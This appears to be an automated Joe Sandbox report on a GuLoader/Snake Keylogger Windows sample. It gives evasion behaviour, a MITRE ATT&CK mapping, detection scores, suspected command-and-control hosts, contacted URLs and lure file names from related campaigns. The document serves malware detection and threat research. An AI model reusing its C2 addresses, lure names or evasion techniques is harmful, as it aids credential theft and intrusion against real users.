Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599030	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598921	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598593	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598374	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598046	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597827	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597718	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597390	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597276	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597165	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597052	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596712	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594748	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594421	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594312	Jump to behavior

Source: DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006A94000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	API call chain: ExitProcess graph end node			graph_0-4769
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	API call chain: ExitProcess graph end node			graph_0-4772

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Process created: C:\Users\user\Desktop\DNNueAb5UZ.exe "C:\Users\user\Desktop\DNNueAb5UZ.exe"

Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Queries volume information: C:\Users\user\Desktop\DNNueAb5UZ.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Code function: 0_2_00405D1B GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D1B

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	214 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DNNueAb5UZ.exe	74%	Virustotal		Browse
DNNueAb5UZ.exe	55%	ReversingLabs	Win32.Trojan.Guloader
DNNueAb5UZ.exe	100%	Avira	TR/Injector.byrsu

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsh96BF.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsh96BF.tmp\System.dll	1%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.238	true	false	high
drive.usercontent.google.com	142.250.181.225	true	false	high
reallyfreegeoip.org	104.21.112.1	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false		high
https://reallyfreegeoip.org/xml/8.46.123.189	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://aborters.duckdns.org:8081	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com	DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000003.2303205087.0000000006AD6000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_Error	DNNueAb5UZ.exe, DNNueAb5UZ.exe, 00000009.00000002.2475851759.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	high
https://drive.google.com/	DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006A94000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.google.com/S	DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006A94000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/G4	DNNueAb5UZ.exe, 00000009.00000003.2363286372.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006ADE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036F86000.00000004.00000800.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	DNNueAb5UZ.exe, 00000009.00000003.2363286372.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2483241749.0000000006ADE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000037008000.00000004.00000800.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	DNNueAb5UZ.exe, 00000009.00000003.2303982458.0000000006B22000.00000004.00000020.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000003.2303205087.0000000006AD6000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000037008000.00000004.00000800.00020000.00000000.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036FFA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	DNNueAb5UZ.exe, 00000000.00000000.1227266938.0000000000409000.00000008.00000001.01000000.00000003.sdmp, DNNueAb5UZ.exe, 00000000.00000002.2125156674.0000000000409000.00000004.00000001.01000000.00000003.sdmp, DNNueAb5UZ.exe, 00000009.00000002.2475851759.0000000000409000.00000008.00000001.01000000.00000003.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	DNNueAb5UZ.exe, 00000009.00000002.2503573322.0000000036EB1000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
104.21.112.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.181.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
142.250.185.238	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1632222
Start date and time:	2025-03-07 21:05:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DNNueAb5UZ.exe renamed because original name is a hash value
Original Sample Name:	63e3936903bc65ce779ef8b852fbd0e0f92167b2d571c09dd92bc8b2f8fb16a4.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/25@4/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 94% Number of executed functions: 99 Number of non-executed functions: 71
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.60.203.209
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com, c.pki.goog
Execution Graph export aborted for target DNNueAb5UZ.exe, PID 7784 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:08:21	API Interceptor	51x Sleep call for process: DNNueAb5UZ.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	checkip.dyndns.org/
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	XiJhd7Lx30.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	UFOiZapHGS.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PvAmrCZENy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	uB9KTHzsXJ.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PENDING PAYMENT FOR March SOA.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Invoice- Trikaya Bio.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Purchase Order # 8MJA15 - 20hrs PMS Twin user 150HP.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_FEBQUOTE312025#U00faPDF.scr	Get hash	malicious	MSIL Logger	Browse	checkip.dyndns.org/
104.21.112.1	jzqc1V4NqB.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/?WBuDj=rwARXV5iz9NY7lD2nse3mpYvX8mI8lq4kwoE5vm7VO31wBaqesAJuHozl9YZ6Ede+IkifZaE/LHkIUXetab9qlITGUdXxZLx5IMa8uxv5i9osOS22A==&Jzwht=FNiD
	CP07E1clp1.exe	Get hash	malicious	FormBook	Browse	www.fz977.xyz/406r/
	2Stejb80vJ.exe	Get hash	malicious	FormBook	Browse	www.askvtwv8.top/uztg/
	Shipment_Docus_COSCO_20250307_35405649_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	ORDER-000291-XLSX.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	Quotation_Order_Request_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	CACUuGJw8e.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	loveme123ru.ru/PipeAuthmultiwordpress.php
	Udeladelsers21.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.tumbetgirislinki.fit/7tw6/
	http://onedrivesharedfiles.sbs/	Get hash	malicious	DarkCloud	Browse	onedrivesharedfiles.sbs/
	PAYMENT SWIFT COPY.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/6m32/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.16.1
	pkNnK2ya0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	XiJhd7Lx30.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	AQIu7JYa5r.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.48.1
	Shipment advice H-BL Draft.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.80.1
	ZTEIhNCtP3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
checkip.dyndns.com	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	pkNnK2ya0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	XiJhd7Lx30.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	AQIu7JYa5r.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	Shipment advice H-BL Draft.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	ZTEIhNCtP3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UTMEMUS	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.8.169
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	pkNnK2ya0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	XiJhd7Lx30.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	ZTEIhNCtP3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	uPDwUy9ewY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	qUG1ZROxLJ.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	132.226.247.73
	UFOiZapHGS.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HT4YGXBRtx.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
CLOUDFLARENETUS	http://questdagnostics.com/bill	Get hash	malicious	Unknown	Browse	104.21.9.149
	Launcher.exe	Get hash	malicious	Growtopia	Browse	104.26.13.205
	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	KMSpico.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.96.1
	https://skyblueinfra.com/wp-includes/Doc/	Get hash	malicious	Unknown	Browse	104.21.80.1
	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.16.1
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.16.1
	http://lploverar.best	Get hash	malicious	Unknown	Browse	162.159.136.54
	pkNnK2ya0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	NmuA605dM4.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	pkNnK2ya0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	XiJhd7Lx30.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	AQIu7JYa5r.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	Shipment advice H-BL Draft.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.112.1
	ZTEIhNCtP3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
37f463bf4616ecd445d4a1937da06e19	YGIVlkbMy7.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.238 142.250.181.225
	TMRASkMVAy.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.238 142.250.181.225
	4PYRGCo1Di.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.238 142.250.181.225
	SecuriteInfo.com.Win32.AdwareX-gen.20631.18363.exe	Get hash	malicious	Vidar	Browse	142.250.185.238 142.250.181.225
	pkNnK2ya0f.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.238 142.250.181.225
	AQIu7JYa5r.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.238 142.250.181.225
	employee record_pdf.bat.exe	Get hash	malicious	GuLoader	Browse	142.250.185.238 142.250.181.225
	employee record_pdf.bat.exe	Get hash	malicious	GuLoader	Browse	142.250.185.238 142.250.181.225
	file.exe	Get hash	malicious	Vidar	Browse	142.250.185.238 142.250.181.225
	[System Process]12.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	142.250.185.238 142.250.181.225

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsh96BF.tmp\System.dll	FACTURAS_1_250075.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	DHL AWB Document_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	SecuriteInfo.com.Win32.Evo-gen.5457.19170.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.Win32.Evo-gen.26137.19757.exe	Get hash	malicious	GuLoader	Browse
	SecuriteInfo.com.Win32.Trojan-Downloader.GuLoader.QAKJ8V.27372.733.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	rquotation.exe	Get hash	malicious	Remcos, GuLoader	Browse
	z1QuotationSheetVSAA6656776.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	z1QuotationSheetVSAA6656776.exe	Get hash	malicious	GuLoader	Browse
	CdB3FZ9vyI.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Alpha.ini

Download File

Process:	C:\Users\user\Desktop\DNNueAb5UZ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.628848957968553
Encrypted:	false
SSDEEP:	3:YOm45GXQLQIfLBJXmgxv:5TGXQkIP2I
MD5:	B895D576D6637A778B387B2FCA0F56EC
SHA1:	E78D2BE4D94673D612C16D29C330BB0C78778429
SHA-256:	BFEC1E97ED5D34825521D60B98986D1564CD159B4D1F9569EAE4C3464D2F5C47
SHA-512:	B4A771D1B517A2776BA440F79F168306C244DF1A6DE1966313157154D8D52BEAD8131B95F846C2F55C15382E04284FFFC6CF6ABF3F6FCFCB259DF2EA58D769E5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[Current]..Ini=user32::EnumWindows(i r1 ,i 0)..

C:\Users\user\AppData\Local\Temp\nse9055.tmp

Download File

Process:	C:\Users\user\Desktop\DNNueAb5UZ.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9637832956585757
Encrypted:	false
SSDEEP:	3:sRQE1wFEt/ijNJyI3dj2+n:aQEGiwh3D
MD5:	16D513397F3C1F8334E8F3E4FC49828F
SHA1:	4EE15AFCA81CA6A13AF4E38240099B730D6931F0
SHA-256:	D3C781A1855C8A70F5ACA88D9E2C92AFFFA80541334731F62CAA9494AA8A0C36
SHA-512:	4A350B790FDD2FE957E9AB48D5969B217AB19FC7F93F3774F1121A5F140FF9A9EAAA8FA30E06A9EF40AD776E698C2E65A05323C3ADF84271DA1716E75F5183C3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5

C:\Users\user\AppData\Local\Temp\nsh96BF.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\DNNueAb5UZ.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.770824470205811
Encrypted:	false
SSDEEP:	192:PPtkumJX7zB22kGwfy0mtVgkCPOs81un:E702k5qpds8Qn
MD5:	B8992E497D57001DDF100F9C397FCEF5
SHA1:	E26DDF101A2EC5027975D2909306457C6F61CFBD
SHA-256:	98BCD1DD88642F4DD36A300C76EBB1DDFBBBC5BFC7E3B6D7435DC6D6E030C13B
SHA-512:	8823B1904DCCFAF031068102CB1DEF7958A057F49FF369F0E061F1B4DB2090021AA620BB8442A2A6AC9355BB74EE54371DC2599C20DC723755A46EDE81533A3C
Malicious:	false
